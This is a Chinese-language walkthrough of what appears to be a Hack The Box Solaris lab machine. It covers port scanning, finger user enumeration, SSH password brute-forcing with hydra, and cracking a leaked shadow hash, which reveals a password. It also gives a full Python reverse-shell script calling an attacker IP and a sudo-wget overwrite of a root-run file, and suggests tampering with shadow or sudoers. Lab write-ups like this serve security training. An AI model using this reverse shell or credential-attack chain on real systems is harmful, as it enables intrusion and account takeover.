0x00 信息收集
nmap -Pn -sV -A -T 4 10.10.10.76 //A,综合扫描,代表了–script,-O 等参度数。
经过第一次扫描发现大多关闭的端口也被扫到,所以增加端口参数进行扫描。
nmap -Pn -sV -A -T 4 -p 1-65535 10.10.10.76
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: ERROR: Script execution failed (use -d to debug)
111/tcp open rpcbind
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
41866/tcp open unknown
45987/tcp open unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
发现79开放了finger服务,以下是finger服务的一些简介:
finger服务:显示有关运行 Finger 服务或 Daemon 的指定远程计算机(通常是运行 UNIX 的计算机)上用户的信息。该远程计算机指定显示用户信息的格式和输出。如果不使用参数,Finger 将显示帮助。
相关用法:
finger [-l] [User] [@Host] [...]
可利用点:
Finger服务可用于查询用户的信息,包括网上成员的真实姓名、用户名、最近登录时间和地点等,也可以用来显示当前登录在机器上的所有用户名,这对于入侵者来说是无价之宝。因为它能告诉入侵者在本机上的有效登录名,然后入侵者就可以注意它们的活动。
ssh服务开在了22022端口,不是默认端口的话极有可能存在问题。
0x01 漏洞利用
关于finger的利用,google了以下可能会利用的地方
http://pentestmonkey.net/tools/user-enumeration/finger-user-enum
https://github.com/pentestmonkey/finger-user-enum
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
######## Scan started at Sat May 23 21:40:17 2020 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..
sammy@10.10.10.76: sammy pts/2 <Apr 24, 2018> 10.10.14.4 ..
sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Sat May 23 22:46:27 2020 #########
12 results.
得到了两个可能存在利用点的用户名 sammy和sunny,尝试利用这两个用户名进行ssh连接
首先利用hydra爆破密码
hydra -l sammy -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -s 22022 10.10.10.76 ssh
hydra -l sunny -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -s 22022 10.10.10.76 ssh
利用ssh登录sunny
ssh sunny@10.10.10.76 -p 22022
但是在/home/sunny下未发现user.txt,在/home/sammy/Desktop下发现了user.txt,但是无权访问
所以下一步目标是登录sammy用户
在/Backup下发现了一个文件 shadow.backup,打开后发现了加密后的密码
sammy: 5 5 5Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny: 5 5 5iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
将sammy用户的密码拷贝出来,利用john破解密码
john --wordlist=/usr/share/wordlists/rockyou.txt sammy
最后得到密码 cooldude!
0x02 权限提升
目标机器中有wget服务,以及python环境。
以下是python反弹shell的脚本
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.92",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
通过sudo -l得知sunny用户下/root/troll可以不需要root密码就可以运行,sammy用户下/root/wget不需要root密码就可以运行。
因此通过sammy用户wget脚本覆盖文件/root/troll,然后登录用户sunny就可以获得shell
用户sammy
sudo wget -O /root/troll http://10.10.16.92:8080/shell.py
用户sunny
sudo /root/troll
0x03 补充
由于/root/troll五秒就会刷新,所以同时打开sunny和sammy,同时输入命令才能得到反弹的shell
同理,上述方法可利用与修改passwd文件
其他思路
利用wget替换shadow文件,替换root的密码未sunny或sammy
利用wget,更改/etc/sudoers文件,把sammy的/usr/bin/wget替换为/usr/bin/su